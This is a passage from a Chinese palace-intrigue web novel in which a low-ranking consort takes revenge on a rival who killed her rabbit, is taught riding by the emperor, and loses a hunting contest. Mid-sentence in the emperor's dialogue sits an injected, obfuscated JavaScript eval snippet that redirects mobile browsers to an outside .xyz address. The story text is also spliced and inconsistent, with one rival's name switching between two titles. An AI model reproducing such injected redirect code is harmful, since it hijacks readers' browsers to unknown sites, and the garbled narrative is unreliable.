魏常在先是一愣,而后忍不住失笑,“嗯,我觉得是好吃的。晚上我打算亲手做几道小菜,沈常在如果不嫌弃野菜粗陋,不如到我帐中来,我们一同用膳。” 沈知微点点头,自己不好意思地笑了起来。突然又想起什么,举起怀中的野兔,“小兔子还没吃饭呢,它能吃吗?” 魏常在思索了下,摇了摇头,“这些不行。野兔是食草动物,多以狗尾草、牛筋草、树叶、嫩枝等为食,嗯……明明刚才见到过。” 说罢,魏常在低头往前搜索,沈知微跟在身后,询问了叶片的形态跟她一起找。 二人走了三里地,最终在一处洼坑中找到了牛筋草丛。小兔子在沈知微的怀中双腿一蹬,在空中越出一道漂亮的抛物线,稳稳地落在草丛中,红色的嘴巴奋力咀嚼。 沈知微抬起手,指向那片牛筋草丛,示意云雁多摘些,好带回去喂小兔子。 话音刚落,一支冷箭飞过,擦过沈知微的袖侧,直中小兔子的后脊。鲜血在灰绒绒的脊背上晕开,滴落在叶片上,慢慢晕开一大片血滩。 沈知微大脑一片空白,眼眸中倒映出鲜红的血液。沈知微目光凝住,愤怒地看向冷箭射来的方向。 魏常在心神一颤,攥紧手中的手帕,连呼吸都凝滞了。 沈知微重重踏着脚步,一步步跨过草地走向“凶手”,冷冷地看向她,“佟佳贵人,臣妾没有得罪你吧?为何不由分说杀我的兔子?!” 佟佳贵人收起手中的弓箭,高昂着头,轻狂道:“瞧沈常在这话说的,你得没得罪过我心里不清楚吗?”她嘲讽地看向沈知微,轻笑出声:“沈常在为了一只畜生到我面前叫嚣,可真是懂规矩啊。” 沈知微眸色暗淡,硬是从齿缝中挤出:“这只兔子是我捡到的,我还要养,你凭什么说杀就杀了?!” 佟佳贵人眼皮一翻,似乎耗尽了最后一点耐心,将沈知微用力往外一推,不忿道:“一只畜生跑到我的营帐外,扰我清净,我想杀就杀了。这林中的猎物,不就是让人猎杀的吗?你都来南苑了,还充什么好人。” 她故意撞过沈知微的肩膀,往营帐外走去。看到她身后的魏常在,扬声呵斥:“你到底是谁宫里的?整日跟别人混在一起做什么,还不快过来!” “我我我……”魏常在慌乱地摆手,话被堵在嗓子眼。她看向沈知微的背影,又对上佟佳贵人的怒目而视,在原地不知所措,最后认命地叹了口气,垂着脑袋走向佟佳贵人,跟在佟佳贵人身后离开了。 四月阳光正好,沈知微浑身却如坠冰窖,藏在袖管中的双手攥紧了拳,这才忍住没有做出更过激的事情来。 * 黑夜寂寥,山脚下篝火绵延,宛如一条蜿蜒的长龙,在无边的黑夜中点燃起一片火光。 营帐内,沈知微端详着手中那支沾着血的断箭,摇曳的烛光在她的脸上映出忽明忽暗的阴影,让人猜不出情绪。 云雁心中惴惴地靠近,“小主,夜深了,还是早些安寝吧。” 沈知微眼皮一挑,眸中透出凛冽的光,“佟佳贵人安寝了吗?” 云雁脚步一滞,说话也变得结结巴巴:“没、没、没有吧……” “去帮我办件事。” …… 佟佳贵人坐在铜镜前,一件件取下钗环,卸下白日里的妆容,用玫瑰水清洗过脸颊和双手后,起身到床榻上休息。 帐中最后一盏灯熄灭,当视野被黑暗裹挟,周遭的一点声响都变得格外清晰。 “吱吱——吱吱——” “吱吱——吱吱——” 奇怪的响声由近及远,由小到大,越发清晰。 佟佳贵人秀眉拢起,不耐烦地唤了声,“青鹂!” 帐外一阵窸窣,青鹂在慌乱中推帘而入,弓着身 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佟佳贵人猛地跳下床站起身,质问青鹂,“怎么会有这么多老鼠,是不是你拿了不该拿的东西?!” 青鹂快哭出来了,“奴婢冤枉啊!奴婢什么都没有往营帐中拿过,请小主明鉴!” 佟佳贵人气极,“说这些有什么用!还不快去驱赶!这么多老鼠,晚上怎么睡啊!” 帐外一阵兵荒马乱,守在营帐旁的侍卫、太监纷纷出动。可山里的鼠类最是狡猾,往往刚触碰到就从手心中溜走了。一时人仰马翻,可收效却不大。 佟佳贵人穿戴好走出帐外时,看到眼前的混乱的景象气的头顶冒烟。二话不说拿起挂在帐边的弓箭,任意对准地上的团团黑影。 “嗖——嗖——” 佟佳贵人不负草原女子神射手的盛名,箭无虚发,有时还能一箭多雕,不一会儿,地上就零星出现了山鼠的尸体。 可奈何佟佳贵人只有一张弓一支箭,周围虽有闻讯观望的其他嫔妃,可都是手无缚鸡之力的深宫妇人,看了一眼就赶紧躲回自己的帐中了,生怕惹祸上身。 眼瞅着山鼠越来越多,佟佳贵人双臂酸胀,一个不稳手中的长弓掉在了地上。她眼眸越发阴翳,干脆从篝火盆中抽出一支柴火,往鼠群中一丢。 “哗——”鼠群顿时四散而逃。 一旁的侍卫太监见此举有用,都从篝火盆中拿起火把,效仿佟佳贵人往鼠群中投掷。 “住手!快住手!”巡逻的御林军快马赶来,“帐布易燃,禁止放火!” 披甲执胄、身上寒光闪闪的御林军包围佟佳贵人的营帐,一支训练有素的士兵列队而出,每个人手中都拿着一包灰色粉末,很快将泛滥的山鼠原地消杀,顺带扑灭了地上零星的火焰。 御林军统领樊英下马走到佟佳贵人面前,拱手道:“各宫娘娘的营帐比邻搭建,万不可随意使用明火,否则一旦发生火情,后果不堪设想,还望贵人慎行。” 佟佳贵人脸色铁青,看着满地黑乎乎的老鼠尸首,忍不住犯恶心。可碍于樊英情面不好发作,只得低头认错。 待再次回到帐中,更是翻来覆去睡不着觉。她何曾出过这么大的丑,真是太丢脸了! 佟佳贵人从床上坐起,怒喝一声,“青鹂!” 青鹂心中震颤,慌慌张张地小跑进来,惶恐地垂下头。 “去查,这些山鼠到底是从哪来的,为何只在我的营帐周围活动!给我好好查清楚,若是让我揪出幕后之人,我一定要杀了他,杀了他!” 16. 学艺 翌日清晨,众妃在议事营帐内齐聚,桓宸高坐主位上,接过太监送来的茶盏慢慢品着,眉眼温和,看起来心情不错。 空气中安静非常,只有茶盏间碰撞的清脆声。荣妃坐在下首位,身穿赤金绫锦凤凰衣,头戴金质凤凰展翅冠,一派雍容华贵,在安静中率先开了口,“皇上昨日真是好彩头,弓不虚发斩获颇丰。相信我大楚来年定会风调雨顺,岁物丰成。” 桓宸放下茶盏,似是受用,昂起头目视前方,“我大楚马背上打天下,骑射素来为大楚男儿的必修课。儒家讲君子六艺,礼乐射御书数,射艺同样为中原男子的必修课。男子如此,女子也不必自我局限,大可到猎场上一争高下,展现我大楚女儿的风采。” 桓宸意有所指,“朕知道,你们当中有些人,在宫中是待不住的。这回带你们出宫,自是给你们一个纵情玩乐的机会,大家不必拘束,大胆比拼就是。” 角落里,沈知微听到这番话,琢磨着好似在点自己的名字。悄然抬眸看向桓宸,恰好撞上一双幽深含笑的眼眸,心中一阵兵荒马乱,果断躲开了视线。 荣妃积极捧场,“皇上仁心,体谅臣妾等人。臣妾斗胆替众姐妹问上一句,众姐妹若是进入猎场,总要分个一二出来,这魁首当如何定呢?” 桓宸双手放在膝上,思索着:“女儿家体格受限,如真要去猎狼猎豹,恐怕会有危险。若是只以数量取胜,猎一些山鸡野兔,想来也无意思。想来,不如放一只驯鹿到林中,谁先猎下,谁就是魁首。” 话音才落,荣妃满眼欢喜,“还是皇上思虑周全。臣妾真真期待,最终谁能成为魁首。” “朕记得,佟佳贵人善于此道,昔日在草原时,还有女子神射手的美称。” “可不是。后宫中骑射最佳者,非佟佳贵人莫属了。”荣妃回眸在身后搜寻,看到坐在左后方的佟佳贵人,扬声呼唤:“佟佳贵人?” 空气中凝了一瞬,视线唰唰唰地向佟佳贵人方向投去。佟佳贵人一怔,这才从恍惚中回过神来,勉强挤出个笑容,“多谢娘娘夸赞。”她垂下眼睫,面上难掩憔悴。 身后,有人轻哼了一声,“切,还骑射最佳呢,最擅长抓老鼠吧。” 贞嫔瞪了她一眼,低吼道:“皇上还在呢,慎言!”纯嫔悻悻住了口。 荣妃眼神骤冷,收回了看向佟佳贵人的视线,“佟佳贵人,骑射可是你的专长,这回比拼可要好好表现,让大家看看草原女儿的威风。” 佟佳贵人点了点头,或许是因为受到了鼓励,面上总算能看出些昔日的狷狂,“臣妾自幼在草原长大,连草原上最威猛的勇士都要敬我三分,草原上的孤狼都能猎下,区区一只驯鹿,臣妾定能拿下。若不是……” 佟佳贵人恨恨地,完全忽视了荣妃的暗中警告,“若不是昨日营帐外山鼠成群,导致臣妾没有休息好,臣妾现在就能去猎下驯鹿回来。若是让我抓到那个在我帐外做手脚的人,……哼。” 荣妃深吸一口气,再次容忍。 桓宸眉眼微挑又落下,声音淡淡的听不出情绪:“天暖和了,山林里有鼠类出没也算正常,你现在的营帐住的不舒坦,换一个就是了。何忠顺。” 何忠顺躬着身子,“是。奴才这就去吩咐内务府。” “可是……”佟佳贵人不依不饶,“分明是有人故意在报复臣妾。臣妾怀疑是……” “佟佳贵人,”荣妃出声打断,脖颈伸的直直的,露出罕见的高傲,“众姐妹好不容易出宫一趟,大家还是尽兴为好。像山鼠这种小事,贵人没必要不依不饶。天气炎热,身为宫妃更要忌急忌躁。我那有一册宝华寺大师开过光的《静心经》,你取去抄一遍静静心吧。” “……” 众妃都噤了声,无人再发一言。 桓宸拍棺定论,“爱妃们今日可回去准备一二,明日正式比拼。都退下吧。” * “小主,您会骑马吗?”训马场上,云雁头顶烈日昂起头问道。 南苑占地辽阔,经过两朝的修葺和完善,已是初建时的十倍之巨,现有猎场、驯马场、驯兽场、靶场、角斗区、演奏区和营地。若是纵马往北三十里,就是辽阔的草原,扎营玩乐另有一番风情。南苑近年来成为上京王公贵族外出游玩的首选,即使不会骑马射艺的人到了此地,也可以现教现学,定让来者不虚此行。 “我这是第一次骑马。“沈知微勉强跨坐在马背上,嘱咐驯马师牵好缰绳。 云雁了然,中原女儿多在诗书女红上下功夫,嫌少有专学骑射的,不会也很正常。但沈知微想的是,她在现代时曾经有朋友拉着她去马场骑马,但那时她嫌弃骑马头顶太阳又热又累,不如窝在家里看书听音乐。没想到如今时移世易,在古代有限的娱乐中,骑马打猎不失为一种乐趣。 沈知微由驯马师牵着绳,在马场上走了两圈,适应了节奏后,便主动要求学习驭马之术。 南苑的驯马师素来专业,骑乘姿势、缰绳控制技巧、步伐与节奏、人马配合等驭马之术讲解的清楚明晰,一个半时辰后,沈知微便可驾马在驯马场上小跑起来。 清风拂面,沈知微纵马疾驰好不快活。直到在转角处看到几道人影,沈知微这才紧急勒住了缰绳。 “吁——” 沈知微看清来人,纵身跳下马,“臣妾参见皇上。” “免礼。”桓宸自上而下地看向沈知微,目光随着沈知微的起身而移动,颇有些歆韵。 沈知微语气轻快,“皇上怎么来了?” “来之前朕答应过你,要教你骑马。只是方才有急报传来,耽误了些时辰。如今看你这架势,想来是不必朕亲自教了。” “要教的,自然是要教的。”沈知微挽住桓宸的手臂,娇嗔道:“皇上骑射之道超群,若是能得皇上指点一二,臣妾明日定能夺得魁首。” 桓宸眉眼微抬,颇有些惊讶,“你刚学驭马之术,也想要夺魁?” 沈知微霎时不乐意了,“皇上小看人!早先皇上制定规则的时候,可没说初学者不能夺。更何况既然参与比拼,不争则矣,争定要争个魁首回来。若是人人都泄力应付一二,岂不是辜负了皇上让我们女子参与狩猎的良苦用心。” 桓宸抬手抚摸过红棕马的鬃毛,侧脸对着沈知微,让人看不清眉眼中的情绪。良久,才幽幽地,“你聪明,有闯劲,朕一向喜欢你这一点。” “只是……”桓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469379|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宸意有所指,“君子有所为有所不为,君子取胜之道讲究名正言顺,而非胜之不武。即便是真到不得已时刻,要行不得已之事,也千万别轻易叫人发现了,你说对吧?” “皇上……”沈知微脸色一白,浑身如坠冰窖。 “罢了。”桓宸抬起手,打断了沈知微,“驭马之术学了,射艺可有人教?” “还没有……”沈知微垂下脑袋,像做错事被发现的孩子。 “来,朕教你。”桓宸牵住沈知微的手,往靶场的方向去。 沈知微跟在后面,心中打鼓。她对佟佳贵人做的事自然是瞒不住的,可没想到皇上也关注了此事,皇上这是在敲打她! 皇上生气了吗?沈知微偷偷瞄向桓宸的侧颜,见桓宸面上并无愠色,想来并未动怒,这才暗中舒了口气。 * 营帐内,鎏金香炉沉香袅袅。 荣妃斜靠在贵妃榻上,凤凰含珠的金饰悬在额前,展翅欲飞。横眉淡入鬓中,眼角微微上挑,富态华丽的妆容衬得整个人都气质不凡。 她用金叉拨弄着桌上那盏乳酪,吃了小半盏,蹙起的眉宇总算淡下了些。 “娘娘还在生佟佳贵人的气?”康嫔向来对吃食无意,象征性地尝了两口乳酪,小心观察着荣妃的神色。 荣妃放下金叉,金叉与碗盏相碰,发出“铮”的一声轻响。荣妃冷峻的气场配上美艳的容貌,如同浓艳夺目的海棠花,只听她淡淡地说道:“她是个蠢的,本宫犯不着跟她生气。明明有着后妃中最好的出身,却能被一个小常在整成这幅德行,真是扶不起的阿斗。” “娘娘的意思是……这些都是沈常在干的?” “还用问吗?”荣妃眼皮一翻,“先前容氏被蜂群缠身,本宫问她时,她口口声声说是沈知微陷害;现下佟佳贵人身上又来这出……后宫中嫔妃大多柔弱怕事,遇上容氏和佟佳贵人这般跋扈的,也多一忍了事。像这种睚眦必报的,除了沈知微还能有谁。” “既然知道了始作俑者,娘娘为何不追究呢?” 荣妃冷哼一声,“皇上都不追究,本宫有什么好追究的。早上那情形,皇上摆明了要偏袒沈知微,大事化小小事化无。本宫若是出头,没得平白惹皇上不高兴。” 荣妃拢起眉宇,语气焦急,“可是沈常在眼看着愈发得宠了,听闻下午皇上去驯马场亲自教授她骑射之道,这假以时日……” 荣妃把玩着手上的护甲,语气中透露着漫不经心,“得宠又怎样,你已经位居嫔位了,又得本宫庇护,何至于为这点小事争风吃醋。” “要知道,皇上的宠爱不过是暂时的,手中拥有权力才是长久之道。她若是能为我所用,本宫不介意让她更得宠一些。” 康嫔侧头看向荣妃,难掩惊诧,“娘娘的意思是,要拉拢沈常在?” 荣妃沉默不语,良久,才淡淡地说道:“若非容氏扶不起,佟佳贵人又是个没脑子,本宫搁置于在出身末流的小官之女中挑选呢。沈常在算是个聪明的,又有几分姿色,若是她能识相些,本宫捧一捧她倒也无妨。” 康嫔垂下眼眸,脸色越发青黑,却又不敢让荣妃看见,只得拿起手边的茶盏,挡住脸默默品着。 17. 比拼 晨雾如纱,萦绕在重重叠叠的山林之间,冰凉的雾气混合着潮湿泥土的气息扑面而来。 众妃身着各色劲装,长发高束,在山林入口处按照位分依次纵列排开。皇后在病中无法出宫,此次并未跟随大家一同到南苑来;荣妃、元妃是考官,跟皇上一同等候在营帐中,也不曾到场。故而第一排分别是康嫔、贞嫔和纯嫔;嫔位之后的,是娴贵人、佟佳贵人、海贵人;贵人之后是沈知微和魏常在;常在之后就是一众答应了。 魏常在和沈知微并列排在队伍的后方,她努力地挺直脊背,可娇弱的面容上仍透露出紧张。 “非去不可吗?这马比人还高,我昨日学了一下午,才勉强在马背上坐稳,如今还要骑马狩猎……唉,不是所有人都擅长此道的。” 沈知微拉扯缰绳,控制红棕马原地踏了几步,宽慰道:“别怕。若真是受不住,拉紧缰绳返程即可,皇上不会怪罪的。” 魏常在叹了口气,突然想起什么,扬起眉:“我记得你也是昨日新学的骑马,怎么就骑得如此稳当呢?” “我啊……” 沈知微本想说自己熬夜苦练终见成效,可话还未说出口,便被一道婉转刺耳的声音打断,抬眸一看,竟然是纯嫔。“人家是皇上亲自教导,哪能跟我们一样啊。说不定今日的魁首都内定给沈常在了,我们不过是陪跑的。” 纯嫔兀自笑着,殊不知前后左右的气氛均凝结成冰。众妃齐刷刷地扭过头来,视线在纯嫔和沈知微之间逡巡。 沈知微紧抿着唇,脸色煞白。其他嫔妃看向她的眼神更是明晃晃的不满。 贞嫔远远地看了眼营帐,见皇上并未出来,想来并不知道这边的情形,和纯嫔对视了一眼,捧场道:“瞧妹妹这话说的,沈常在虽有皇上教导,可到底时间短,没历练过,殊不知还有佟佳贵人这样自小享誉草原的珠玉在前呢。总不能沈常在真是天赋异禀,不过学了一个下午,就将在草原生活十几年的佟佳贵人比下去了?” 说完,贞嫔的视线越过离她更近的佟佳贵人,直直地向沈知微射去。虽然眉眼弯弯含着笑,可眼底的凉意藏都藏不住。 沈知微脸色一沉,忍不住在心中翻了个白眼。可又不能任由纯嫔和贞嫔嘲讽,什么都不做只会更拉仇恨。 沈知微思索片刻,昂起头,不卑不亢道:“两位娘娘真会开玩笑,臣妾不过是初学马术,哪敢在各位姐姐面前班门弄斧。听闻纯嫔娘娘昨日在驯马场勤学苦练,不知今日能否一睹娘娘风姿?若是娘娘能夺得魁首,想来也是振奋人心的。” 沈知微浅浅笑着,将纯嫔和贞嫔抛来的陷阱又抛了回去。 她是有争魁首的打算,可从来没有对竞争对手广而告之的打算。古今中外,任何比拼前牛皮吹得越大,结果出来时摔得越惨。你说我想夺魁,那我也说你想夺魁。都是千年的狐狸,反正谁也别放过谁。 …… 佟佳贵人看着纯嫔和沈知微一前一后将她夹在中间斗法,气不打一处来。 这是真把她当“死人”了!明明骑射最佳的人是她,明明皇上和荣妃昨天押宝的人也是她,纯嫔和沈知微这两个人是从哪里冒出来的!不过是学了半日的功夫,竟敢在她面前叫嚣??还有个帮腔的贞嫔,一开口就让人生气。 还有这个沈知微,她早就怀疑营帐附近的老鼠是沈知微引来的,若非没有证据,她就拉着沈知微到御前了!荣妃不管不问,还罚她抄《静心经》,真是倒霉透了! 这一切都怪沈知微。不过沈知微得意不了多久了,狩猎可是她擅长的领域,她一定要找回自己的场子来! 纯嫔和贞嫔还要争辩,佟佳贵人忍无可忍,扬声打断: “没用的话还是少说些。到底是不是真有本事,谁强谁弱,上场比试一番不就知道了?都堵在这里干过嘴瘾吗?!” 话音刚落,海贵人看了她一眼,撇过脸去。 身旁的常在、答应神情一嚇,悄悄垂下头,默不作声。 纯嫔和贞嫔脸色很不好看,她们才是在场位分最高的妃嫔,佟佳贵人此举难免有越俎代庖的嫌疑。但纯嫔和贞嫔并不想跟佟佳贵人起正面冲突,毕竟佟佳贵人虽然是贵人位分,可是出身显赫。 康嫔乐得看热闹,有先前荣妃的提点,她并不打算主动去找佟佳贵人麻烦,只等她“自取灭亡”。 各人心思各异。这场不大不小的发作,一时竟效果奇佳。 沈知微悄悄松了口气。只是在佟佳贵人转身的那一刻,她明晃晃地看到,佟佳贵人剜了她一眼,漆黑的瞳孔宛如幽深难测的寒潭,泛着寒光和冷意,只对视一眼,就令人不寒而栗。 号角声响起,骏马在林间四散开来,留下尘土在身后滚滚升腾。 沈知微顾不得其他,双腿夹紧马腹,缰绳一拉,脚踩鹿皮马靴,腰配镂花箭囊,左手持弓,右手拉绳,纵马奔跑在山林中。 山林内,虽说最终是以猎获驯鹿作为评定魁首的依据,可大多数嫔妃对自身实力心中都有数,压根没打算满山去寻找那只不知藏身于何处的驯鹿。可空手而归毕竟会落了脸面,于是选择了折中之法,在山脚和山腰处探寻,猎一些雉鸡野兔回去,也好有个交待。 对于纯嫔、沈知微、佟佳贵人这样想争魁首的,谁也不敢打包票百分之百猎到驯鹿,也跟着大部队一同猎点小动物装点门面。 因为事先告知了都虞司后妃们要到山林中打猎,而这些娘娘小主都身娇肉贵、五体不勤,没有人敢拿主子的安危做赌。故而山林中的猎物早就被替换了一遍,放进林中的“猎物”全部是驯兽场饲养的,野性少了一半,安全性大大增强。 后妃们在山脚处羽箭飞舞,各个都收获颇丰。沈知微也抓住了四五只雉鸡,还有一只孢子。 可渐渐地,林地里的猎物不够分了,开始出现几个人争抢一只猎物的情况。 沈知微因收获颇丰,不打算再猎这些小动物,骑着红棕马在山林间四处游荡,寻找那只决定胜负的驯鹿。 没走多远,见到海贵人和魏常在在前方,合力围剿一只已经进入狂躁状态的雉鸡。 沈知微在后面不远不近地跟着,打算等她们抓到这只雉鸡后再上前。就在这时,一只羽箭“唰”的一声从侧面飞来,直直地朝海贵人的方向飞去。沈知微惊慌大喊: “小心!” 海贵人和魏常在闻声四散,将将躲过那支羽箭。 雉鸡扑动翅膀,在树根处扑棱了几下,可速度没有羽箭飞来的速度快,当胸中箭倒地。 沈知微不再犹豫,骑马走到海贵人和魏常在跟前,问道:“你们没事吧?” 海贵人捂住胸口,劫后余生,“无妨。” 魏贵人也摇了摇头,喃喃道:“太危险了……” 确认人没事,三人一同看向羽箭飞来的方向。她们都想知道,到底是谁这么不长眼,射箭不知道避着点人吗! 隔着影影绰绰的山林,佟佳贵人的形象清晰地出现在三人面前。只见佟佳贵人哼了一声,夹着马腹头也不回地走了。 沈知微注意到她离开时□□宝马的步态,远没有刚出发时那般矫健如飞;仔细观察会发现,马儿的脖颈上,挂了满满当当的猎物……怪不得佟佳贵人猎到了雉鸡却走了,原来是装不下了。 可是,明明自己已经不缺了,为什么还要抢别人箭下的呢…… 沈知微回过头,不忍地看向海贵人和魏常在空空如也的猎袋,视线逐渐上移,只见海贵人脸色苍白,薄唇紧抿,幽怨地看向那道不可一世的背影。 魏常在长叹一声,拉了拉海贵人的衣袖,“她一向这样……算了。” 沈知微本想将自 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三人屏息凝神,直愣愣地盯住那支飞向猎物的羽箭。在即将触碰到猎物时,突然“咔嚓”一声,另一只羽箭从左侧飞来,将先前射出的羽箭当中折断。 驯鹿一惊,警惕地昂起脖颈,漆黑的瞳孔瞪得圆圆的。在看清周围人靠近之后,撒腿便往山林深处跑去了。 射箭之人从树林中走出,维持着先前搭箭的姿势,对准驯鹿逐渐远去的身影,又补出一箭,正中驯鹿的后臀。远处驯鹿奔腾了几步,最终体力不支,前蹄一跪,倒在了地上。 沈知微看向来人,面对那张熟悉的、嚣张美艳的脸庞,内心属实有些无语。 第三次了。 这是来南苑这几天,佟佳贵人第三次在暗处放冷箭伤人。 沈知微心中忍不住腹诽,什么草原女子神射手,压根不讲武德,称号自己评的吧! 佟佳贵人高坐马上,斜眼看向沈知微,鼻孔轻蔑地哼了一声,“怎么,沈贵人当真有心思想要夺得魁首?” 无人应答。空气中只有马蹄踏上枝叶的噼啪声。 “只可惜啊,技不如人就是技不如人,即使再努力,也成不了最出色的那个。” 她视线下移,落在沈知微马背上的猎袋上,“有些人啊,只会在背地里使些手段,真要拉出来比试,只配捡我剩的吃。” 沈知微扯了扯嘴角,努力压制住心中的火气,可实在是忍无可忍。她挤出一个标准的假笑,声音从齿缝中发出:“贵人确实是才华出众,这背地里放箭的功夫我等真真是学不来的,确实是技不如人”。 “只是贵人,这暗地里的箭放多了,怕是会让人以为,姐姐以前的盛名都是阴来的呢。所谓‘草原女子神射手’,误了自己的名声不要紧,可别误了草原的名声啊。您说是吧?” “你!” 佟佳贵人马鞭扬起,怒目圆睁瞪着沈知微。 她对沈知微早有不满,一而再再而三地忍让她,没想到姓沈的竟然蹬鼻子上脸,她今天势必要给她点颜色看看! 沈知微脸色微变,后退两步,摆出防守的姿势。 见二人剑拔弩张,海贵人挡在沈知微身前,背对着沈知微道:“如今胜负已定,沈常在还是先回去吧。若是闹大了,皇上是会生气的。” 佟佳贵人瞪着海贵人,“你到底向着谁!” 海贵人并未回应她,只一味地朝身后使眼色,用只有她们二人能听见的声音道:“回去吧,这里有我。” 沈知微会意,拉扯缰绳掉头,头也不回地往营地方向奔去。 “回来!”佟佳贵人气极败坏,“我让你走了吗!回来!” 马鞭狠狠地抽在地上,亦或是抽在人的身上,发出毛骨悚然的声响,令人心悸难安。 18. 惩罚 沈知微飞马下山,身后阵阵尘土飞扬。 到营地后,气呼呼地翻身下马,将马鞭往身后一丢,找了个树荫下凉快去。 云雁看自家小主这幅模样,忍不住一个机灵,猜想林中定出了事。 她踌躇着,拿起水壶和冰帕,小心翼翼地走到沈知微身侧。沈知微摆着手推开。 “沈常在,你这是怎么了?”康嫔睨了她一眼,嘴角忍不住上扬。 “还能怎么啊,”纯嫔笑嘻嘻地扭着腰肢凑过来,“跟佟佳贵人争魁首,没争过输了呗。” “这人呐,就贵在有自知之明,总是妄想自己够不到的东西,可不是要摔个狗吃屎。这不,贻笑大方了吧。” “哎呦,瞧你这话说的,人家沈常在不要面子的嘛。再说了,沈常在又不是一无所获,那不还有几只稚鸡嘛。” 纯嫔用手帕捂住嘴,咯咯笑弯了腰,“稚鸡谁打不到啊!难不成还要凭这几只鸡‘论功行赏’不成?噗哈哈哈。” …… 贞嫔和纯嫔你一言我一语,完全视他人如无物。下山的嫔妃越来越多,听见响动自动聚集在她们周围,渐渐地,都明白了是怎么回事。 云雁气得小脸涨红,几次想要上前制止,被沈知微拦下了。 柔答应站在角落里,汗湿的掌心攥紧衣摆,担忧地看向沈知微。 沈知微尽力维持着平静,不发一言。她平时虽是个争强好胜的性格,但胜在有武德,知道输了就要躺平任嘲。没抢到魁首是事实,没什么好争辩的,被别人嘲讽几句又不会掉她两块肉,来日找准机会东山再起,她还是一条好汉。 只是这两个活宝戏唱个没完,沈知微心中实在无语,她们当宫妃可惜了,应该送去杂耍班子说相声的。 一盏茶的功夫,山上传来凌乱的马蹄声,由远及近。 众人闻声仰望,只见佟佳贵人踏马而来,右手高举起弯弓挥舞,如同凯旋而归的将军。 身后,海贵人和魏常在带着一帮太监,抬着中箭流血的驯鹿,跟在佟佳贵人身后亦步亦趋。 奇怪的是,佟佳贵人的振奋高亢,而身后之人神情淡漠,形成鲜明的反差,让人初看时不由得心生疑窦。 可想起佟佳贵人从前的行事作风,山下的妃嫔们只当是佟佳贵人平时太过跋扈不好相处,这才没人应和她。 沈知微看到佟佳贵人下山,就浑身躁动心乱如麻,余光看到蠢蠢欲动的纯嫔和贞嫔,更是升起了一种不祥的预感。 纯嫔不负众望地,看到娴贵人在众人面前停下,眼睛瞬间亮了,露出赞叹的笑容,“娴贵人不愧是生于草原长于草原,连骑马的风范都与旁人不同,难怪魁首是你来当呢。” 娴贵人对这样的称赞相当受用,嘴角都要趔到耳朵根了,也不着急下马,就着俯视的姿势回应纯嫔,“多谢纯嫔姐姐夸赞。我自幼学习骑射之术,无论是草原还是宫里,向来只赢不输。” 这话说的太过狂妄,一出口,其他嫔妃纷纷侧目。 贞嫔笑意收敛,冷哼了一声,斜着眼睨佟佳贵人。 她越看越生气:纯嫔是嫔位,佟佳氏不过一个贵人,怎可不下马回话。 还有,娴贵人平日里并非与纯嫔交好,怎就这般不知礼数,张口就叫纯嫔“姐姐”。 再加上一番狂妄无比的话…… 换做旁的没有家世的妃嫔,早就挨板子了,亦或是像沈知微一样,多少挨两句数落。可偏偏佟佳贵人出身显赫,轻易动不得。 贞嫔气得牙痒,可却无可奈何。 一时嫔妃们神情各异,各自观望着眼前的局势。 只有纯嫔似乎完全没有觉察,继续玩笑着,“还是娴贵人有本事,这一出手,就将众姐妹都比下去了。” “纯嫔姐姐谬赞了。姐姐的骑射虽不如我,但在宫妃中也是相当出色的。” 一直在旁边看戏的康嫔忍不住翻了个白眼,其他小主们互相递眼色,露出意味深长的笑。 沈知微深吸几口气,一遍遍告诫自己冷静。 没事,忍忍就过去了。 要忍。 忍。 纯嫔睨了沈知微一眼,笑言:“说到底还是你机灵,不想有些蠢笨的,皇上亲自教都没学会,白白费了皇上一番苦心。” 佟佳贵人会意,和纯嫔一唱一和,笑得花枝乱颤。 她们倒是开心了,沈知微脸上的表情凝固了。 呵,当众被人骑脸输出,沈知微两辈子破天遭头一回。 要是再忍她就要变成忍者神龟了。 沈知微神色一凝,冷冷地扬声道:“纯嫔娘娘这话可就说错了……” 话还未说完,突然被一道深沉的男声打断。 “说什么呢,这么热闹。” 听见熟悉的声音,众妃猛然回过神来,看向那声音来源的方向。 桓宸身着明黄色圆领暗纹常服袍,头戴六合帽,信步朝人群走来。荣妃娘娘跟在左侧靠后的位置,元妃娘娘跟在右侧,一个雍容华贵,一个端庄素雅。 走近后,桓宸看了眼高坐马上的佟佳贵人,微迷着眼睛,笑意收敛。 佟佳贵人自觉失仪,慌乱中跳下马,和其他嫔妃一道,行礼向皇帝请安。 “臣妾等参见皇上,皇上万福金安。” “荣妃娘娘吉祥,元妃娘娘吉祥。” 空气中寂静了片刻,桓宸双手相叠垂在身前,声音不轻不重,“都起来吧。” 荣妃眼珠微转,心下有几分猜测,乐得在一旁看戏。元妃温和又疏离,像以前一样,从不沾染后宫是非。 桓宸瞪了佟佳贵人一眼,倒也不先问罪,反而是问起离他最近的沈知微。 “瞧这气势汹汹的模样,谁惹你不高兴了?” 沈知微看到桓宸关切的面容,故作胆怯地垂下眉眼。眼珠一转,想到更能气到纯嫔和佟佳贵人的办法。 只见她耷拉着脑袋,眼角泛红声音哽咽,“呜……呜呜,没事,臣妾没事……” 说完,眼中的泪水更多了。 纯嫔大跌眼镜,佟佳贵人怒不可遏,贞嫔狂翻白眼,三人侧目看着沈知微表演。 桓宸看透不说透,挑了挑眉,忍着笑意站到沈知微身侧。 顺着沈知微的视线,扫过纯嫔和贞嫔,逐渐移至佟佳贵人,以及她身后的那只中间倒地的驯鹿……这下全明白了。 桓宸咳了一声,扬声问道:“这么快就打到了,谁是魁首啊?” 虽是询问,听上去却如同死水般毫无波澜。 佟佳贵人心中忐忑,察觉出哪里不太对劲,但又不想放过这千载难逢的表现机会,于是主动迈步上前,答道:“回禀皇上,是臣妾打到了驯鹿。” “嗯,”桓宸垂下眼眸,“倒是不负你在草原时的盛名。” 这话说的太过平淡,远没有意料之中的惊喜,和皇上一开始鼓动宫妃狩猎的兴奋感更大相径庭。 娴贵人心中犹豫,思索着要不要退下。却见桓宸突然大手一挥,“来人,赏。” 